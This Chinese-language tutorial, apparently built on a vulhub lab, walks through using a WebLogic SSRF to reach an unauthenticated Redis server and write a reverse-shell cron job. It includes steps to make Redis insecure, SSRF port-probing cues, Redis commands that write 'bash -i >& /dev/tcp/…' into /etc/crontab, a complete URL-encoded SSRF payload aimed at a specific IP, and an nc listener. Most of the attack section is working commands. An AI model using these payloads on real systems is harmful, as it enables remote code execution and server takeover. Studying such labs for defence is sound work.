Redis未授权攻击
- 思路
- 具体操作过程
- 安装 Redis
- SSRF 漏洞攻击
- 攻击 Redis
- 参考文章
SSRF + redis +反弹shell
weblogic SSRF 之所以能够 getshell 的原因就是 有redis服务器的存在,利用redis 的备份功能,将反弹shell命令写入 crontab 中。
- 写入命令到 crontab,用到了gopher协议,是gopher协议的数据格式
- 反弹shell 利用了nc工具
思路
redis 版本 < 3.1
- 首先通过 SSRF 进行端口的探测,查看开放的端口。如果服务器开放了6379端口,那么大概率就是 redis 服务
- 通过 gopher 协议调用 服务器上的 redis(将 tcp 数据流 转换为 gopher 格式的数据流)
- 然后 利用Redis的备份功能,将crontab的定时任务 备份到/etc/crontab中,起到执行命令的效果
具体操作过程
安装 Redis
下载安装
apt-get install redis-server
修改 redis 监听IP ,如果不修改,无法进行远程登录
vim /etc/redis/redis.conf
protected-mode yes改为protected-mode no(在没有密码的情况下,关闭保护模式)
注释掉bind 127.0.0.1 (取消绑定本地地址)
启动redis服务
service redis-server start
SSRF 漏洞攻击
首先找到漏洞存在的页面
http://ip/uddiexplorer/SearchPublicRegistries.jsp
burpsuite抓包,找参数可控的输入点(非常关键)
一般出现 ssrf漏洞 常常有以下参数,也就是一切能输入url 或 IP 的地方
url src source target link share wap imageURL …
响应包的信息有三种状态
- 404 error... 表示此端口是开放的,是7001端口
- which did not have a valid SOAP content-type: null 端口开放
- but could not connect over HTTP to server 端口没有开放
攻击 Redis
在客户端同样要安装redis
使用redis 客户端 远程登录服务端 (这一步在真正攻击的时候不会发生,在此展示为了方便理解)
redis-cli -h 1.15.139.205 -p 6379
写入计划任务
将命令写入 crontab,以下内容的意思为 将数据反弹到 攻击者(5eqc7z.dnslog.cn) 的9999 端口,因此后期还要在 攻击者主机上开启 9999 端口
set mars "\n\n\n\n* * * * * root bash -i >& /dev/tcp/攻击者的IP/9999 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
要进行url编码,才能攻击成功。
注意,换行符是“\r\n”,也就是“%0D%0A”。
http://1.15.139.205:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
然后在 /etc/crontab 下面就会发现出现了此命令
反弹shell
然后在攻击者主机上开启监听端口,就能够远程执行命令,反弹shell
(docker 中是 redis环境,docker 和 攻击者 放在了同一台主机上)
nc -lvp 9999
参考文章
Redis基础知识:https://www.runoob.com/redis/redis-intro.html
https://zhuanlan.zhihu.com/p/113396148
https://vulhub.org/#/environments/weblogic/ssrf/